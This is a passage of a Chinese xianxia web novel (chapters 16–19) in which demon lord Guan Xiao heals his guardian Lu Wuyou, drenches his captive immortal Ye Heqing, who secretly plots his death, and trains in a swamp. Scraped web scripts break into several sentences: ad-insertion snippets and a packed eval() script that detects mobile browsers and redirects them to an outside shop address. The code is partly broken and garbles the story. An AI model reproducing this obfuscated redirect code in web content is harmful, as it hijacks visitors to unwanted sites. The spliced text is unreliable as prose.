官逍有些心疼他的宝贝柿子树,毕竟方圆万里只这一棵…… 不对,官逍好像看见了另一棵树。 峡谷的迷雾有些阻挡视线,但繁茂的枝叶摩擦声响传入五感变灵敏的官逍耳中,凝神看去,果然在悬崖边多了一棵巨树,一半繁茂一半凋零。 认出这是采集队带回的那棵长在仙魔交界处的巨树,没想到曾长在仙界的那一半枝叶这么快就枯萎了。 “连在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 仙界生存的树都更娇气一些。”官逍低喃,用现实佐证自己昨夜的论点。 “什么?”叶鹤清不明所以。 官逍指着巨树的方向,解释的话还没开口,就听砰的一声巨响,烟尘四起,黑色的魔气冲天,而被官逍指着的巨树向着悬崖的方向倾倒,只留凋零的那一半留在地平线之上。 官逍:…… 未曾想到他的论据会这么不堪一击。 官逍收回手,捂住了叶鹤清的双眸,“别看,魔气伤眼。” 叶鹤清自是已经看见,若没记错的话,那个方向被炸的地方,就是魔界护法禄无游的洞府,“尊主,你的护法家没了。” “说什么呢,东稷就是他的家。”官逍随口敷衍,目光盯着那被炸毁的地方,烟尘过后,魔气逐渐消散,一切归于平静。 可禄无游为什么没爬出来? 官逍这回也顾不上身边的仙子了,起身朝着塌陷处走去。 和那些常年居于地下的魔修不同,原身的四个护法各自占据一方修建洞府,将魔尊的魔殿围在中间,据说当初选择方向位置是按打架输赢来排先后的,禄无游因为修为最低,故而没得选择,最后只能在东边悬崖处掏个山洞作为他的洞府。 走近以后,官逍才发觉那棵巨树竟然就种在禄无游洞府的侧边,也不知哪个护法的下属这般大胆,不过想来那魔修应也没料到禄无游的洞府并非什么风水宝地。 悬崖边塌了个口子,露出下方空出的一当方天地,倒向万丈深渊的巨树若非习惯了魔界的物竞天择,刚被栽入土中就疯狂生长扎根,这会儿也难靠那些网状的根牢牢抓住地面,坚强存活。 官逍试了试脚下土质的松软程度,确认能承受地起自身重量,这才探头朝下看了看,塌陷空地只有偶尔往下滑的土壤与碎石,一点儿被从下往上扒拉的动静都没有。 “总不能是这样死了吧。”官逍喃喃自语,书中禄无游可是活到了最后一集的顽强配角,还是干掉男主的优秀反派,生命力可想有多顽强。 叶鹤清就站在官逍身后,将他的每个微小举动都看得清楚,他微微拧眉,总觉得魔界的相处之道总在他的意料之外,哪怕一直知晓魔界上下级关系时常伴着敌对状态,可这种下属费尽心思找人魅惑主上,而尊上也对下属的生死也毫不在意,实在是与仙界有诸多不同。 此处崖谷风大,将官逍的一袭红衣吹得凌乱,他往后退了几步,正好有闻声赶来的巡逻队,正好都是禄无游的下属,官逍下巴微抬,指使他们,“将你们主上刨出来。” 大抵是这个刨字用得太灵性,亦或者是他们与禄无游才是真感情,当即有好几个魔化身为兽,一跃而下,那动作之焦急,让官逍自愧不如。 他兴致盎然看着变身后的那几个魔的身影,他们四肢很长,强健有力,但肢体以上长得很是随心所欲,有的后背有骨架形的翅膀,有的头上犄角盘绕,周身都弥漫着黑气,总体来说,没有官逍想象中的狰狞。 在魔界待久了,他对于五花八门的丑已经有了足够的忍耐力和接受能力。 16. 第十六章 等了约莫半刻钟,那几个魔修总算是找到了被土石掩埋的禄无游,将他抬了上来。 官逍蹲身看了两眼,伸手在禄无游颈侧探了探,释放体内魔气顺着他的经脉感知,他体内魔气紊乱,好在丹田内魔核还在,甚至在官逍的魔气靠近对方魔核的时候,那处突然释放出魔气来驱逐。 但禄无游现在就如同被扎了个孔的气球,一直在向外漏着魔气,故而哪怕魔核中的魔气想要给外来魔气一点威慑力,也没剩多少能力,官逍这个凝元期初期的,都轻松逃离带着魔气撤出禄无游身体。 在一众魔修围绕的注视中,官逍查探好站起身,“没事,只是魔核有些受损,还活着。” 说完官逍觉得这般放任禄无游躺在地上,实在不是一个好上司该做的事儿,犹豫片刻,“抬魔殿地上躺着吧。” “魔殿内的石砖一尘不染,毕竟平日无事也不会有的魔进去。”官逍低声道。 叶鹤清抿唇,看官逍待他最忠心的下属都如此冷血,想起这些时日面对魔尊喜怒无常的性子,他莫名心理平衡了一些。 而对于官逍的吩咐,魔修们似乎也没觉得哪里不妥,一群魔七手八脚抓着禄无游的四肢将他搬向魔殿而去。 看着那浩浩荡荡一群魔修的背影,官逍由衷感慨,“若有一日我重伤难愈昏迷不醒,希望来带走我的不是这群魔修。” 话中嫌弃之意虽然直白,但官逍还是履行了一个做尊主的职责,他舍弃了今日树下补眠的计划,独自进入魔殿,帮禄无游疗伤。 厚重的石门将叶鹤清隔绝在外,听不见内里动静,他盯着石门上的纹理,恍然明白自己好似被魔尊平时里松散的假象迷惑。 他是魔界魔尊,怎可能真对下属的生死无动于衷。 大高个儿就立在殿门外,宛如一个石雕,他毎日的任务就是看守魔殿,叶鹤清在他身边站了一会儿,总觉头顶被深渊凝视,挪步走远了一些。 殿内的官逍略有些束手无策,他经过这么多天的修炼对体内魔气运转有一定了解不假,可禄无游修炼的功法有些异于常魔,官逍的魔气在他体内游走查探时,总会一不留神转角遇到爱,禄无游体内的魔气并非聚在魔核处,而是分散在体内任意角落。 官逍本以为那是提升小境界失败的后遗症,可当禄无游魔核的魔气散尽,官逍的魔气尝试为他疗伤依然被莫名冒出来的魔气阻挡,他才意识到,那些散落于身体各处的魔气本就存于此处。 这意味着禄无游并不只靠魔核供给魔气,哪怕魔核受伤,他也能启动备选方案,利用体内其他魔气领域中的魔气尽量全身而退。 有那么一丝狡兔三窟的感觉。 他的修炼有属于自己的野路子,正常来说魔是不能修炼出多个魔核的,可禄无游硬是在这种规则之下,修炼出了多个魔气领域,分散于身体各处。 当然,一般魔不会这么做,相对于耗费大量时间精力去炼出多个魔气领域,专注于精炼自己的魔核提高修为更有性价比。 总归无论禄无游的野路子是好是坏,只学了基础功法的魔尊,现在面对进阶题时一时半会儿还没想出解题思路。 尝试几次帮助疗伤都以失败告终,官逍只能盘膝在禄无游身边坐了半晌,只觉他这下属像个囤了许多粮的仓鼠,每当官逍以为他体内魔气在运行周天期间要被消耗空的时候,又会有一股魔气继续支撑流转,一次又一次,无穷尽也,如今想要去帮他修复魔核,也只能等他体内各个魔气领域的魔气都被耗尽。 官逍从一开始的急迫略带一些紧张,到后来哈欠连天,百无聊赖间从禄无游体内吸收魔气打发时间,想看看禄无游到底什么时候能把自己掏空。 几个时辰过去,屋外的天已经黑沉了,官逍吸收了禄无游太多魔气,困顿感逐渐消失,整个人有种朝气蓬勃的感觉,只是腹中空空。 他拉开石门,吩咐门口的大高个儿去魔圃给他寻些能吃的灵植,门口立着的叶鹤清看他的眼神中带着些许迷茫和不可置信。 想象魔尊耗费精力与魔气为属下疗伤,应是一副疲惫的模样,可现在这容光焕发的面色,仿若刚在殿中吃了一百个小孩。 官逍目送着大高个儿去魔圃,看清他寻了魔圃中的魔修采集灵植,而不是用他的大脚蹼直接踩进去,这才放心收回目光,看向一边直勾勾盯着自己的仙子,“怎么了?” “禄护法还活着吗?”仙子询问。 官逍挑挑眉,没想到仙界一个仙子,竟然还关心起了魔界护法的伤势,这定是黄鼠狼在与鸡拜年。 “自然,本尊尚未吸干他的魔气。”官逍坦荡回答。 叶鹤清:? 这回答,让在门口站了半天琢磨魔尊只是表面冷淡实则关心下属的他显得很可笑。 大高个儿很快捧着灵植和两个果实回来,身后跟着天机,天机将几种灵植一一介绍,几乎都是八棱魔参、聚魔草这等为修魔者疗伤的灵植,想来大高个儿理解错了他的意思。 官逍也懒得解释,接过那几株灵植,合上殿门,留下那两个据说食用后能增加精神力的魂喑果,他又从其他剩余灵植中挑挑拣拣分类好放在一边。 咬着没甚滋味的魂喑果,静看禄无游周身弥漫的黑气一会儿浓郁一会儿又散开,几番变动后,一切归于平静,官逍将果核丢进黑水池,释放魔气去禄无游体内探了探。 果核入黑水池的刹那就变成一缕黑烟升腾,官逍这才想起来忘了留个种,实在可惜。 待殿外天色彻底黑了下去时,禄无游周身再无魔气波动,官逍点燃烛火,这才坐在禄无游身边,伸手探了探对方脖颈,身体温度比刚从土里扒出来时要冷却些许。 官逍释放魔气顺着筋脉进入禄 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 无游的身体,一路小心谨慎,并未再受到伏击,头一次给魔疗伤,官逍对力道地把控并不算好,禄无游时不时闷哼两声,时不时又吐上几口鲜血,最后官逍顶着一脑门汗精疲力尽地收回魔气时,禄无游的身边的地面上已经攒了一滩血液,他脸色白地如纸,比没被治疗的时候看起来还虚弱一些。 官逍本想收拾一下,可碍于魔气消耗过多,放弃了这个念头,随手抓了个造型宛如胡萝卜的八棱魔参塞入口中,做好了被苦到的准备,却没想到这参的味道竟然比魂喑果好上不少,一不留神就多吃了两口。 为防止自己等会好奇心作祟将每个都尝上几口进补太过,官逍干脆从剩余灵植一起提炼出汁液,一股脑儿全灌入禄无游口中。 禄无游如今这具毫无魔气的身体受不了这种大补之物,面具下的口鼻眼也开始朝外流血,官逍起身拉开门,吩咐大高个儿叫两个魔修来收拾。 殿门大开,在门口待了一下午的叶鹤清也跟着魔修们一起走进魔殿,看见那宛如被谁糟蹋过的禄无游,不自觉开始猜测这禄护法与魔尊之间是否有什么深仇大恨。 将一团糟的场地和半死不活的禄无游都交给他的下属,官逍自己掸了掸衣袍,自顾自回到寝殿,倒头就睡。 他这一场堪比手术的治疗颇为耗费精力,因魔核结构复杂且藏于体内,官逍需要全神贯注操控魔气治疗,他自己都还没修炼出魔核,就敢医治别人的魔核,实在大胆,可却无可奈何。 魔修虽说活得糙一些,可魔核是最关键的部位,且难以依赖自身修复自愈,长久不治疗只会成为沉疴旧疾,哪怕表面看似无事,却会在下一次升境界的时候为破境失败添砖加瓦。 魔界谁也不信任谁,少有医修这个职责,故而若能一次次顺利破境成一个修为高深的魔,那除了自身于魔道上有修炼天赋外,还需天运加持。 叶鹤清看完禄无游后跟着回到寝殿,见官逍面朝里侧一动不动,犹豫片刻走上前,坐在了床榻上。 躺在床上的魔尊毫无反应,似乎是对他完全不设防,可叶鹤清也没做什么小动作。 对魔尊这个渡劫后的修为来说,治疗一个出窍期护法的魔核也只是损耗些许心神罢了,并不会让他疲惫到需靠睡眠回复精力,如今这个满是漏洞的局,倒更像是在引诱他出手然后再亲手掐灭他的希望,他官逍不就向来如此恶趣味。 曾经渡劫期的官逍他应对起来就十分吃力,而三界震动,官逍也依然活着,那便是证明了他已经渡劫成功,自己这身修为,已经远不及他。 想明白这一点,叶鹤清干脆就收起了心思,如昨夜一般躺在了官逍的身边,合眼假寐。 与其开启一场注定会输的战斗,他不如就继续以这个身份待在官逍身边,获取他的信任,等寻找到合适的机会,再将他一击毙命,为仙人两界的安定除去祸患。 17. 第十七章 官逍自然是不知道枕侧之人正在贪图他的性命,睡得安稳。 这一觉从夜半睡到天色大亮,醒来时只觉胸腔中热流涌动,脑中清明,浑身有使不完的力气。 坐起身后手臂微抬,寝殿的木门便应声而碎,再动动手指,木门化成细腻的粉末,被风吹起,扬了进门的仙子一身。 今日的仙子难得穿了件深色长袍,只是官逍还未来得及欣赏风悟今日的奇迹仙仙搭配,仙子的那身衣服就由黑色变成了深灰色。 叶鹤清驻足站定片刻,刚刚他甚至都已经要动用灵力,又在周围波动的魔气中堪堪回神忍住下意识行为,硬接下了这漫天灰。 官逍未料自己随手试试魔气,会让仙子如此狼狈,难得心虚了一瞬。 “来人。”官逍召唤风悟来给仙子送上新衣,话音还未落,就见几个魔修扛着崭新的木门从围墙上跳下,动作麻利地开始安装。 官逍张了张嘴,想说不是这个意思,但又觉得这门确实需要,只得放弃解释。 等门安装好时,仙子已经带着一身灰尘不见了踪影,官逍在找仙子和探究今日魔气格外充沛之间选择了后者,毕竟仙子并不会走远,虽说没限制他的行动范围,可他若想要悄悄逃离,整个东稷没有一个魔修会答应。 这也是官逍对待那些仙子俘虏如此松弛的原因。 将自己身体从内到外排查一遍后,官逍确认了自己修为并没有增长,大约是那棵八棱魔参起了效,在昨夜他入眠时吸收了周围魔气,于体内不断转化,将原本干涸空荡的魔气领域填充,可官逍的魔气领域太小,故而多余的药效便顺手滋养了他的经脉,这实属意外收获。 趁着状态正好,官逍打坐修炼,度过了入门的炼体期和强化的纳灵期,凝元期初阶的内容就如同水到渠成,修炼时并不觉得吃力,且控制好魔气在体内游走的速度,会明显感觉到浑身经脉在不断收缩中变得更有韧性,更为坚实。 小半日过去,官逍神清气爽的从寝殿内走出,足尖轻点,整个人便如同一只轻盈的燕落在寝殿的屋顶上,踩着黑色的琉璃瓦片,以居高的视角,轻易就能将周围的场景都收入眼中。 几支巡逻队交替在附近巡视,队伍的魔修们被黑色的气团包裹,应是在使用魔力探查周围路过的每一处。 有几个魔修结伴自南边结伴行来,身后背着个麻袋,官逍现在看见那储物袋就略感心慌,有种被小山支配的压迫感,好在那种情况少有,他们寻了个角落的地方,从袋中掏出了四五个中等大小的魔兽,扒皮抽筋,剔出魔骨,再将魔兽体内的魔核取出,凑在一起仔细端详,似是讨论着魔核的品质,片刻后,他们将这些材料再次收好,朝着炼器房的方向而去,大抵是要以此与炼器房换些什么。 另有一些零散的魔修们或站或坐,分布与魔殿附近,耍刀弄棒,以什么为武器的都有。 可惜魔界一直都是雾蒙蒙灰沉沉的天气,阻碍了视线,不然站在如此视野开阔的地方,定能看到更多的热闹。 看了一圈,官逍的视线不自觉落在了下方魔圃中的一个身影上,这么多天的斗智斗勇,足以让官逍一眼就在诸多身影中识出仙子,他还穿着那身沾染灰尘的脏衣,勤勤恳恳地挥舞着锄头,几个捏着长鞭的魔修都离他远远的,生怕一不留神长鞭失手,就变成如今在无生涯拾粪那位同僚一样的下场。 官逍盯着那灰扑扑的衣裳,对早上自己的行为略有些愧疚,手中凝聚周围魔气,想象着水珠的形态,想赠予还未学得些许法术的仙子一个净身诀。 虽官逍自己都从未使用过这种法术,但他凝元期修为,火球都能轻易凝出保龄球大小,此等低阶术法不过是轻轻松松。 他口中默念口诀,指尖一点,魔气化成光束直冲仙子的方向而去,也不知是不是碰巧,仙子脚下挪了一步,错开了官逍所指的方向,官逍正觉懊恼,施法补救,就见他释放出的魔气在仙子的头上迅速凝成一朵乌云。 有种不太好的感觉浮上官逍心头。 果然,眨眼之间,乌云飞快成型,宛如开闸了一般,兜头的冷水将仙子浇成了落汤鸡的模样,湿哒哒的一副紧贴在了身上。 官逍扶额,这种时候,他竟然还想起了前些时日破山月为他召来的云,歪歪扭扭拽来费尽力气,设法召来的云哪有直接用魔气造假凝成的云来得快。 他官逍果然就是个修魔的奇才!只是奇才匆忙之间补错了法诀罢了。 魔圃中一众仙子仙女都停下手中动作,看向被雨水冲刷的俊美仙子,他头顶的乌云仿若做了什么亏心事一般,浇完仙子就瞬间变成透明,消失在视野中,偷感十足。 拿着长鞭的魔修们也忘了要驱赶仙子们继续干活,怔怔盯着从叶鹤清衣袍上滴落进土壤中的水滴,回神后环顾四周寻找作乱的源头。 官逍就见仙子抹了抹脸上的水后,一手抓着锄头,一手垂于身侧,几乎不用寻找,就仰头将目光直接锁定在屋顶上的官逍身上。 四目相对间,隔着百米距离,官逍竟然从这个修为低微的仙子眼中看出了杀意,整个人气势腾腾,浑身写满了“管他是生是死,我今儿就要弄死你”的决绝感。 官逍:…… 他这会儿跟对方解释自己不是故意的,大抵是来不及了。 官逍自觉理亏,犹豫片刻,还是冒着生命危险跳下房顶,看了眼蹲在魔殿门外画圈圈的风悟,传音让他莫要偷懒,速去取套衣衫来。 风悟收到吩咐略有踟蹰,转身朝着地宫的方向走去,官逍只当他不放心殿内躺着的禄无游,并不追究他对自己忠心与否,朝着仙子的方向走去。 越靠近仙子官逍的脚步越慢,但为了维持魔尊身份,他并未表现出丝毫退群,只如闲庭信步般。 好在仙子还有理智,手指将锄头的把手捏得咔咔作响,终究是咽下了这口气,虽没给官逍好脸色,但也没抄起锄头。 “吾是何处做得不好,惹了尊主不快?”仙子一副虚心请教的模样,若非他说话时后槽牙紧紧咬着,官逍都要以为他是真的任打任罚弱小可怜又无助。 但堂堂魔尊,霸道横行是本性,自然不可能给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968352|147786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个小仙子道歉,官逍维持着上位者姿态,双手背在身后,微微抬起下颚,“本尊闲来无事给心爱的魔圃浇浇水,怎得湿了仙子一身,仙子当真是不小心。” 其实若按照原身的酷拽高傲性格,应是不会施舍给仙子一个多余的眼神,浇了你一身湿又如何,本尊没有取走你的小命你都该虔诚跪下感谢。 可官逍到底不是从万千魔海中拼杀出饿原身,没那个底气,只是他自己也没料到,这一张口的杀伤力,远比忽略仙子来得更猛烈些,仙子深呼吸几口气,眼中火花四溅,抿唇几次,张口就是一股黛玉味儿:“那是吾站的位置不巧了。” 阴阳怪气,可配上他这身狼狈样,官逍有点想笑。 但官逍不想真将仙子惹毛,兔子急了也会咬人,更遑论是一个修行飞升的人族,若非是被风悟从洗灵池劫回来,刚洗筋换骨,他在人界时的修为也能把官逍打趴下。 说到底,仙界把洗灵池设置在仙魔人族三界交界处,还不派神兵神将看守护送,致使手无缚鸡之力的仙子落入魔窟,如今还受此等委屈,都是仙界的失算,这赖不到他们魔界。 魔界只是收留走失迷路的仙子,他官逍又有何错呢? 官逍几个思绪间将自己说服,全然忽略了眼前仙子今日屡屡狼狈到底是拜谁所赐。 风悟适时捧着新的衣裳前来,官逍看了眼托盘中的衣裳,感觉有些怪异,但又说不出个所以然,示意仙子去换,莫让东稷的魔风钻进骨子里,一副体贴入微的作态。 叶鹤清只觉魔尊几百年间变了许多,从前也只是喜怒无常,一言不合大杀四方致生灵涂炭,现下虽是看起来温和了点,却又添了些虚伪做作。 仙子去换衣后,官逍戳了戳头顶的乌云,那刚已经变透明隐匿了身形的云朵又逐渐现出乌黑的颜色,被官逍的手指戳一下,弹一下。 玩了会儿Q弹软绵的乌云,官逍张开手,将云中剩余的魔气又收回掌心,打量四周杂乱种植的魔植,与几年没收拾过的荒草地一般,看着十分有生命力,官逍满意地点点头。 只是,不知是不是官逍的错觉,他总觉得不远处指挥种植的天机看起来沧桑了许多,那额上的青筋还在不停跳动。 收回视线,就见仙子已经换上新衣走了出来,一身深红色广袖长袍在轻风中微微扬起,自雾中走出时实在吸引人的眼熟。 官逍微微歪头,总觉得这颜色实在眼熟,再一低头,这不是与自己平时穿的衣裳色调几乎一模一样。 再细瞧去,那收紧到让仙子不得不屏息收腹的腰身,还有短了一小寸的衣摆,莫非…… 仙子行至近前,僵直着上身,并非他一定要如此,只是衣裳小了一号,将他身体紧紧束缚,动弹不得半分,仙子就这么直勾勾看着官逍,并未开口,只是那双清透的双眸已经诉说了他的内心:如此作弄于我,尊主大人可满意了? 官逍再次扶额,一口黑锅不给闪避机会地这么扣在了他的后背。 刚要叫风悟来收拾他折腾出的烂摊子,魔殿那边传来一声凄厉的声音。 18. 第十八章 没顾上被衣裳束缚的仙子,官逍抬腿便朝着魔殿的方向走去,只因这声叫喊实在惨烈。 推开魔殿大门,只见一道白色身影从自己面前飞快蹿过,这速度与用了无影诀的自己不相上下。 晃神之际,又两道快如残影的灰色团影从自己脚边而过,官逍定住脚步,跟来的风悟抬起头,再低下头,不由张大了嘴巴。 白色身影从自己面前跑过第三圈的时候,官逍终于良心发现,伸脚绊了追在后面的两个灰色团子,魔气自手心而出,编织成的细网将两只灰毛兔收拢困在其中。 白色身影还在奔跑,官逍与自己身后立着的风悟玩笑道:“你们主上伤势恢复得还挺快。” 风悟也不知是听清了官逍的话,还是本能应答,无意识地点头附和:“是,是,是。” 又跑了两圈的禄无游总算是反应过来安全了,停下脚步,喘着粗气看向魔殿外立着的几道身影,虽他们背着光,那深红色实在太有辨识度,他一边喘气一边不忘行礼,“让尊主,见笑了。” 官逍点点头,“见你这活蹦乱跳的模样,本尊便放心了。” 禄无游扯了扯嘴角,“属下一切都好,只是看东西有些残影而已。” 官逍不解:“残影?” “是,属下刚看到了两个尊主。”他说着抬起头,面具下的表情僵了僵,似是有些不敢确信,“这会儿好似也有两个。” 官逍环顾左右,看见右后方正梗着脖子僵直身板的仙子,瞬间反应过来,哭笑不得。 等他们一行三人走进殿中,禄无游这才看清仙子的面庞,意识到自己刚丢了脸,好在一张面具将他的脸色隐藏得很好,看不出来太多尴尬。 “这是?”禄无游询问,这一看他的根骨和周身气息便知不属于魔界,可又这么堂而皇之走在尊主身后,他有些困惑。 “禀主上,这是仙界仙子,如今是尊主大人的侍君,名唤…”风悟一本正经介绍,说到一半又戛然而止。 官逍听到风悟卡壳,这才反应过来,这么些时日,他竟从始至终都没问过仙子的名字,他这相貌不该在书中籍籍无名,可把书中角色都想了一遍,有个想法在脑中浮现…… 他总不能是…那个挑起小型仙魔两界战争的…扶风仙子吧?! 这个念头刚在脑中成型,官逍不由提起心,扭头看向仙子,只见仙子拱手,落落大方回答道:“护法大人唤我君晏就好。” 听到不是扶风,官逍心里松了一口气,可细细回想,似乎在哪儿听过这个名字,可当时将小说看得太快,一时半会儿根本回忆不起来。 自己记不太清的名字,应也不是什么重要人物,官逍收起思绪,伸手抓起禄无游的手腕。 这动作有些突然,禄无游下意识要反抗回击,在反应过来对面站着的是官逍时,又生生忍住了反击的行为。 官逍这么突然的行为自然不是要和禄无游手拉手,只是禄无游在奔跑后的热气降下后,那双眼睛中的活力似乎都褪去了许多,有种被吊着半口气的感觉,若是拿下他那张面具,擦去他脸上厚厚的白粉,就能看见他现在都脸色其实与涂上白粉并无什么区别。 官逍释放的魔气进入禄无游的经脉,朝着魔核的位置探查,在禄无游清醒时做此行为实在冒险,不过官逍也没想那么多,他这会儿只是看病人状态不正常,对自己第一次的治疗做个售后而已。 禄无游在感觉到身体那股不属于自己的纯粹魔气时,瞳孔都在一瞬间瞠大了许多,这意味着自己的命脉与百年修炼成果都被摊开,摆在了对方面前,若是这股魔气的主人对自己有那么丁点儿杀意,他就万劫不复。 禄无游的身体在不受控制地微微颤抖,他不敢信任任何人,可面前的是他的尊主,是将他从乾坤山中带出来的救命恩人,禄无游不得不压制住身体的本能。 然而那些散布于身体各处的魔气领域暂时不完全受他控制,时不时探出几缕魔气试图阻挡,禄无游可以感觉到尊主的魔气与自己体内的魔气冲撞,那几缕冒出来的魔气再被尊主强势碾压,一次次剧痛袭来,禄无游身体开始摇摇晃晃,有些站立不稳。 他抬眼看向尊主,官逍却是一脸平静,昨日与禄无游体内的魔气领域打过那么多次架,对有些部位已经驾轻就熟,况且今日的禄无游刚刚苏醒,那些魔气领域很是空荡,并无与他一斗的能力,故而官逍今日魔气弹向禄无游魔核的时候很是轻松。 魔气化成千万缕丝线将魔核包裹,官逍眉头越蹙越紧,风悟紧张攥拳,仙子兴致盎然地注视着主护二魔,无人出声,魔殿内一时静谧无声。 半晌后,官逍收回魔气,多看了禄无游两眼,心中有些不解,“小境界提升了,魔核也在修复中,只是体内魔气空虚,再静养几日。” “是。”魔气被抽离出的时候,禄无游终于撑不住,鲜血顺着嘴角流淌出,整个人也向这侧方倒去。 风悟几步上前想要抓住他家主上,不过到底比不过官逍的速度,只见官逍出手利落,一把攥住禄无游的胳膊,将他换了个方向,这才松开手。 “莫要压坏了我的兔子。”官逍说。 于是禄无游换个方向再次倒去,风悟一时没来得及出手,紧接着听见“砰”地一声。 风悟瞳孔骤缩。 官逍:…… 官逍有些无奈地看了风悟一眼,那眼神中的有些许谴责,还有探究,似乎是觉得他这应急能力不堪大任,又好似在怀疑他对禄无游是否真的忠心耿耿。 风悟一时都不知该不该开口解释,顾不上自身清白,急忙跑去扶着禄无游坐起身。 禄无游口角流出的血滴落在胸前白色衣襟上,被风悟扶坐后上身依旧摇摇晃晃,风悟还想搀扶,被禄无游伸手挥开。 风悟委屈。 官逍将长毛兔丢回笼中,见笼子被啃断了几根魔植藤蔓,耗了些法力修补,随后也不理会这上下属二魔,丢下一句“自寻一处静养”后,便转身离开魔殿。 出了殿门,他自顾自往前走,实在想不明白昨日查探时,禄无游还是破境失败的状态,怎得今日就莫名其妙提了个小境界,他明明体内魔气散了个干净,且他昏睡到方才苏醒,莫非修魔道一事上还有什么捷径不成? 系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984275|147786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 统就像不会回答的教科书,对官逍的问题几乎是有问无答,故而这个疑惑也只能埋在官逍心中。 只是那种好似窥到了一条近路,可却不知该从哪个路口迈进去,这感觉实在难受,尤其是对于一直追求速成修魔道的官逍来说,宛如被猫爪挠了心,又疼又痒。 官逍揣着心事一直走,走出了十来里地后,恍然回神,环顾四周,空茫茫一片,这里似乎比魔殿周围的雾气还要重上许多,百米之外就看不到半分景物。 在回程和继续前行之间犹豫了两秒,官逍还是决定前行,来到这个书中世界这么久,他却也只在那些魔修口中听说附近有何异动,从那些话语中琢磨拼凑出周边地形,还未真正去过。 凭着感觉一直行走,雾中茫茫并没什么看点,官逍便趁四下无人试练起了无影诀,脚下步伐飞快,独特的步法慢慢与记忆里那看过上百次的小人动作相重合,官逍逐渐得心应手,须臾之间已行出几十里路。 待畅快地将无影诀使出一回,官逍眼前的场景就有了些许不同,脚下土地变得松软了一些,可见度也变低了许多,这里没有植被的生长,从而能在视野范围内看到越往远处的地面颜色越深,若不是官逍每一步都实打实踩在地面上,或许并不能从这细微的地面软硬变化中窥出端倪。 又试探性走了几百米,官逍停下脚步,他能感觉到脚下的土地在悄无声息地试图吞噬他的长靴,停滞不前的话整个人都会慢慢下沉,半晌后,一动不动的官逍脚背没入了泥土中,他抬腿将自己拽出泥地,继续前行。 之前总听闻那些魔修说南边的泥地会吃魔,官逍印象中那便是一片沼泽地,充满了危险与未知,如今自己来逛了一回,这哪里是什么阴森沼泽地,明明只是些掺了水的泥沙地罢了。 只要在上面快速行走,那泥地不仅不能吃魔,反而会感觉脚下触感十分舒适,让从小没在游乐场玩过的官逍欲罢不能。 将无意中领悟到的无影诀腿部动作再试练几次后,官逍开始把主意打到了上身动作上,他不信教学系统给无影诀搭配了文字和视频两个版本,只是为了方便他领悟学习,定是藏着不为人知的提升方向。 文字版被官逍死记硬背记入脑中,可视频版却只能跟着一遍遍尝试,在魔殿附近时会诸多魔修关注他的一言一行,无从联系,可如今在此处就不同了,天地浩荡,任由他施为造作。 这时,一只类似鹰隼的飞鸟从远处飞来,看见官逍后,在官逍头顶的天上盘旋了几圈,官逍仰头看它,飞鸟也与官逍对峙。 官逍盯着它肥美的身躯,眼眸微动,停下脚步,向他伸出一只手臂。 飞鸟见官逍动作,歪了歪脑袋,用它那核桃大的脑仁思索了一下,随后巨大的翅膀挥舞速度减缓,慢慢降落了些高度,靠近官逍的手臂。 官逍露出一丝计谋得逞的笑,手中魔气骤然出手,一道黑色光束直冲飞鸟而去,飞鸟瞪大绿豆眼,翅膀猛地迅速挥舞,险而又险避过魔气的攻击。 飞鸟蕴含愤怒的尖锐鸣叫划破长空,它扑扇着翅膀扬长而去,只剩几片羽毛落下,在空中飞舞,落在官逍身周。 19. 第十九章 看着在雾气中逐渐消失的一团身影,未能捕猎到肥鸟,官逍颇觉可惜,不过能躲过自己这个凝元期的攻击,说明这鸟也非寻常之辈。 魔界的飞禽走兽似乎都更容易结出魔核,然而只是靠天地魔气孕育而出,实际的战斗力却比同等级真正靠修炼而来的魔弱上许多,这飞鸟能躲过官逍的攻击,修为或许比禄无游都高上许多。 虽没有成功捕猎,但飞鸟离开后回荡在长空的鸣叫声却也让官逍感觉到了广袤天地的空寂,莫名产生了一种血液沸腾的感觉,他再次从泥地中拔起自己的双腿,脑中无影诀小人的动作飞快闪过,跟着小人施展动作,从生疏到逐渐熟练,身影也化成一道道旁人看不清的残影,在湿软的土地间游走。 可手中空空,似乎是少了些什么,官逍此刻真想凭空变出一把佩剑,肆意舞上一回剑法,从前在剧组当小配角时,幸运地得到了一个武术大师的短暂指导,他照着葫芦画瓢,只当那是为了让荧幕中的角色耍帅,现下却隐约察觉到,一把趁手的武器,或许能扩大攻击力,发挥出比实际水平更高的战斗力。 这也是三界修炼者都可动用对应灵气仙气魔气的能力,却少有赤手空拳者的原因。 官逍环顾左右,想寻个稍微趁手些的东西,却发现周围连根树杈子都没有,实在扫兴,正准备保留这个遗憾时,低头就见腰间垂坠的坤,眼前一亮。 解下束在腰间的大带,虽布帛质地太软了些,但官逍往其中注入魔气后,也勉强能使之成为武器,只是解下后,腰间空落,衣裳松松散散裹住身体,有些不雅。 好在此处并无旁人,官逍也只是心血来潮,布帛随着官逍的动作在空中留下一道道虚影,伴随着魔气运转,泛着光晕的黑色一次次劈开官逍身周的雾气,官逍头一回感觉到修炼魔道是如此快意之事。 